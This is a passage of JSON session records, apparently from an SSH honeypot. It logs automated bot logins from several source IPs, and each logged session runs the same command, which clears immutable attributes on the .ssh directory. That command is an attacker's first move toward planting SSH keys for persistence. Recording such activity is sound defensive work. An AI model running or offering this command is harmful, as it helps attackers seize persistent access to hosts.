"username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 443, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:23:54.173175+00:00", "ended_at": "2026-08-27T12:23:55.165052+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "08df2f51-54d1-4c35-ae9f-f6a520b52ca0", "name": "valiant-glacial-porcupine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 44666, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:23:42.940114+00:00", "ended_at": "2026-08-27T12:23:44.192085+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "f11e200c-eb70-48ff-a8d6-cccf34ada516", "name": "misty-rustic-muntjac", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 38258, "username": "frappe", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 263, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:23:34.967823+00:00", "ended_at": "2026-08-27T12:23:36.194833+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2263 }, { "id": "28a4ee71-6a88-4b33-8da9-041526a4ef56", "name": "hazel-cobalt-narwhal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 33152, "username": "fs", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 730, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:23:18.917772+00:00", "ended_at": "2026-08-27T12:23:20.111497+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2243 }, { "id": "8fcd060c-c8c5-4546-8ad4-bc9b9ab897a3", "name": "fierce-sterling-cuckoo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 52536, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 297, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:23:13.209762+00:00", "ended_at": "2026-08-27T12:23:14.733002+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "84d2a4e8-6fcc-4968-a1e4-a049d8e02664", "name": "russet-rugged-lorikeet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 53984, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 330, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:21:47.348913+00:00", "ended_at": "2026-08-27T12:21:48.544087+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "cb1cf88d-956b-478c-8b56-58bf2ccaa813", "name": "arctic-distant-ouzel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 60522, "username": "test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 264, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:21:33.027216+00:00", "ended_at": "2026-08-27T12:21:34.490931+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "5a07ff39-e5fb-4ef1-8ae6-f25237994c11", "name": "arctic-airy-vulture", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59582, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 456, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:21:15.821042+00:00", "ended_at": "2026-08-27T12:21:17.129068+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "a91ccc20-8ea6-4baf-bb5b-ebf14b1b5d42", "name": "feral-thawing-penguin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 47744, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 300, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:21:10.503023+00:00", "ended_at": "2026-08-27T12:21:12.216098+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "d68e795d-0238-423e-96e6-2564f0322124", "name": "granite-graceful-gannet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 36960, "username": "jose", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 771, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:20:26.707624+00:00", "ended_at": "2026-08-27T12:20:28.475440+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2241 }, { "id": "5b8744b2-01e2-49be-bece-36ec39409a93", "name": "brisk-blithe-bullfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 40896, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:19:44.225424+00:00", "ended_at": "2026-08-27T12:19:45.643083+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "7e0a0c12-8ed0-4750-a081-597d1a4fbf65", "name": "muted-mighty-porcupine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 45496, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 260, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:19:35.417255+00:00", "ended_at": "2026-08-27T12:19:36.334650+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "2adc65a9-9a2a-48c2-951c-7a9693314980", "name": "early-flinty-godwit", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 49492, "username": "pivpn", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 300, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:19:01.318517+00:00", "ended_at": "2026-08-27T12:19:03.298001+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "90f233c9-a27d-4ed5-8e5a-ad096db4b742", "name": "murky-obsidian-lemur", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59556, "username": "radius", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 461, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:18:32.276938+00:00", "ended_at": "2026-08-27T12:18:33.654095+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "464cf29c-a5b7-42bb-a3fa-d990165de08a", "name": "brave-foggy-oryx", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 57670, "username": "cuckoo", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:17:38.862670+00:00", "ended_at": "2026-08-27T12:17:40.888936+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "41f9f301-0f99-43d0-b4ad-6d08299e70d8", "name": "canny-autumn-jackal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 55478, "username": "ftp_user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 756, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:17:37.816270+00:00", "ended_at": "2026-08-27T12:17:39.130521+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2269 }, { "id": "b79aced4-aad9-4169-a27d-82fe9b3e5e09", "name": "wandering-lonesome-jackal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 55980, "username": "ebi", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 261, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:17:31.960154+00:00", "ended_at": "2026-08-27T12:17:33.416619+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2244 }, { "id": "38e87d5e-ef1f-45a2-bb06-542130b3b7bf", "name": "hazel-upland-numbat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 55238, "username": "admin123", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:16:49.883425+00:00", "ended_at": "2026-08-27T12:16:52.008092+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "fe5b7c35-3ce5-4bff-b1e5-8e487ed5dab9", "name": "windswept-earnest-vicuna", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59540, "username": "dev", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 443, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:15:45.537099+00:00", "ended_at": "2026-08-27T12:15:47.083834+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "779e6bda-1ea1-48e9-a699-6b4db9dfc7e7", "name": "polar-rambling-hyrax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 37324, "username": "sklep", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:15:38.945247+00:00", "ended_at": "2026-08-27T12:15:40.531770+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "4ce08521-74d7-484d-bd2b-50f1e132ad39", "name": "languid-dusky-flamingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 34528, "username": "ftproot", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 261, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:15:30.385373+00:00", "ended_at": "2026-08-27T12:15:31.284296+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2307 }, { "id": "b0360082-aeed-4dc0-93ca-08aceb310c4f", "name": "tranquil-jovial-sandpiper", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 33462, "username": "dev", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 776, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:14:52.521448+00:00", "ended_at": "2026-08-27T12:14:53.775731+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "b0b0266a-9cb6-4fde-ae1d-7796c1b791bb", "name": "western-early-cougar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 58892, "username": "anu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 297, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:14:45.268099+00:00", "ended_at": "2026-08-27T12:14:47.079215+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2240 }, { "id": "052656f7-0f3a-4553-91ff-893e15d0df4f", "name": "hushed-alpine-jaguar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 57014, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 330, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:13:37.615119+00:00", "ended_at": "2026-08-27T12:13:38.850014+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "d9d3e978-c9b7-4f69-b14e-6fc80085d958", "name": "cheerful-amber-wren", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 36380, "username": "nico", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 261, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:13:31.294117+00:00", "ended_at": "2026-08-27T12:13:32.597213+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2243 }, { "id": "34cbb54a-7eae-4549-a703-86074d83de0d", "name": "lofty-lively-crane", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59510, "username": "dev", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 444, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:13:04.316963+00:00", "ended_at": "2026-08-27T12:13:05.593037+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "094e7a1a-94b8-4321-8b66-12b7e420acef", "name": "wandering-jagged-nightjar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 46216, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 291, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:12:36.364067+00:00", "ended_at": "2026-08-27T12:12:37.449473+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "073159ff-aca6-436d-931a-c03df328242f", "name": "frank-marine-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 38680, "username": "pal", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 266, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:11:31.041436+00:00", "ended_at": "2026-08-27T12:11:32.356603+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2246 }, { "id": "5cd78e11-7c61-462e-a56c-3c4ae0d6382f", "name": "canny-grassy-quoll", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 51418, "username": "dan", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 299, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:10:38.041176+00:00", "ended_at": "2026-08-27T12:10:39.407092+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2244 }, { "id": "c391edc6-1849-44c2-accc-52206383b387", "name": "calm-cobalt-armadillo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59490, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 461, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:10:25.466051+00:00", "ended_at": "2026-08-27T12:10:26.800070+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "2cebf8e2-48ac-4180-a403-6c2558213b56", "name": "dewy-ivory-bluebird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 34578, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:10:11.214918+00:00", "ended_at": "2026-08-27T12:10:12.392297+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "7a3f793e-e0fa-41d6-94f4-330526e620df", "name": "prairie-fringed-sandpiper", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 37150, "username": "nikita", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 266, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:09:33.060767+00:00", "ended_at": "2026-08-27T12:09:34.216657+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "c9f47f74-03c9-4ed8-88d9-75e2f9ccd405", "name": "polar-shaded-kea", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 41982, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 744, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:09:16.080070+00:00", "ended_at": "2026-08-27T12:09:17.503484+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "2c2b0671-77e7-42ae-a6b3-cd3dcc9ff267", "name": "bold-hazy-seal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 51040, "username": "james", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 296, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:08:37.742133+00:00", "ended_at": "2026-08-27T12:08:38.736308+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "1f08357d-f587-4488-bc04-95d8113c1b3f", "name": "solemn-languid-gadwall", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 44708, "username": "arash", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:08:12.443806+00:00", "ended_at": "2026-08-27T12:08:13.652211+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2239 }, { "id": "910b8f7b-fee8-4c24-b161-48ba24d1dd46", "name": "jovial-grassy-finch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59466, "username": "remoteuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 460, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:07:45.835551+00:00", "ended_at": "2026-08-27T12:07:47.126183+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "ba97293b-35e3-4029-98f9-b3d8dc862f73", "name": "mossy-whispering-bushbaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 39734, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 266, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:07:30.593003+00:00", "ended_at": "2026-08-27T12:07:31.628401+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "897bc932-7e0f-4cb1-bcd7-a13c7e8206ab", "name": "cobalt-jaunty-ocelot", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 48700, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 290, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:06:31.484188+00:00", "ended_at": "2026-08-27T12:06:33.452428+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2293 }, { "id": "8a180bf0-13c3-42d5-9630-a41f97bfeb2f", "name": "watchful-vaulted-capuchin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 35922, "username": "ymoreno", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 772, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:06:17.365157+00:00", "ended_at": "2026-08-27T12:06:18.863737+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "8601141e-53d7-4fed-b4c3-ae24d34ccf98", "name": "jaunty-knotted-teal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 49574, "username": "yf", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 329, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:06:01.699560+00:00", "ended_at": "2026-08-27T12:06:02.807032+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2219 }, { "id": "f663e97f-d93e-405e-ae8b-edc39f1f03b2", "name": "electric-crystal-pochard", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 35516, "username": "filter", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 266, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:05:28.286111+00:00", "ended_at": "2026-08-27T12:05:29.969347+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "e3864833-b55d-4804-a61d-cbfd17828855", "name": "crisp-nimble-gerbil", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59430, "username": "cuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 465, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:04:53.129122+00:00", "ended_at": "2026-08-27T12:04:54.471268+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "edbe3741-fa43-44ee-afff-dd246675910e", "name": "idle-mossy-gazelle", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 50798, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 300, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:04:22.495934+00:00", "ended_at": "2026-08-27T12:04:24.262453+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2282 }, { "id": "a1f41a3c-dbe5-46b1-8eb5-a6ad2b85ae3e", "name": "bashful-gallant-blackbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 57434, "username": "inventory", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 329, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:04:04.569186+00:00", "ended_at": "2026-08-27T12:04:06.052124+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2229 }, { "id": "bee65c64-e89f-48f1-85aa-d0bc1a21c78d", "name": "freckled-gallant-sable", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 37618, "username": "newuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 260, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:03:29.469612+00:00", "ended_at": "2026-08-27T12:03:30.457544+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "4f6b69ad-0f71-4209-a73b-9586ab7760c9", "name": "dappled-ancient-weasel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 54628, "username": "gitlab", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 732, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:03:02.988728+00:00", "ended_at": "2026-08-27T12:03:04.565690+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2263 }, { "id": "5493d2e7-4e58-45b0-a624-0fa3d82467be", "name": "whispering-muted-bunting", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 55178, "username": "ardi", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 294, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:02:12.460990+00:00", "ended_at": "2026-08-27T12:02:14.615074+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2214 }, { "id": "ff5a7f90-82ae-445e-abcd-3a34f5b2fea4", "name": "arctic-vernal-quoll", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59390, "username": "git", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 447, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:02:07.645167+00:00", "ended_at": "2026-08-27T12:02:08.629014+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "9dc33e9e-6f0d-4d60-940a-94ecf7d2212a", "name": "calm-slender-caracal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 39344, "username": "debian", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 329, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:02:01.018121+00:00", "ended_at": "2026-08-27T12:02:02.890480+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2217 }, { "id": "d2c5cdfc-67aa-4c21-b0e9-b364bc081355", "name": "glacial-diligent-hamster", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 54546, "username": "web", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 265, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:01:29.961194+00:00", "ended_at": "2026-08-27T12:01:31.230450+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "53b84977-5d1f-495c-9108-74efdc695480", "name": "primal-early-bushbaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 41662, "username": "azureuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 734, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:00:11.645160+00:00", "ended_at": "2026-08-27T12:00:13.363660+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "7fdbcea8-d5b0-44bc-bde7-8f0f9ea61396", "name": "cosmic-subtle-wigeon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 54752, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:00:01.262277+00:00", "ended_at": "2026-08-27T12:00:02.719823+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "e1fa51d8-9fef-4b9a-be27-f43984500b82", "name": "granite-eager-pochard", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 56422, "username": "camera", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 297, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:00:00.688825+00:00", 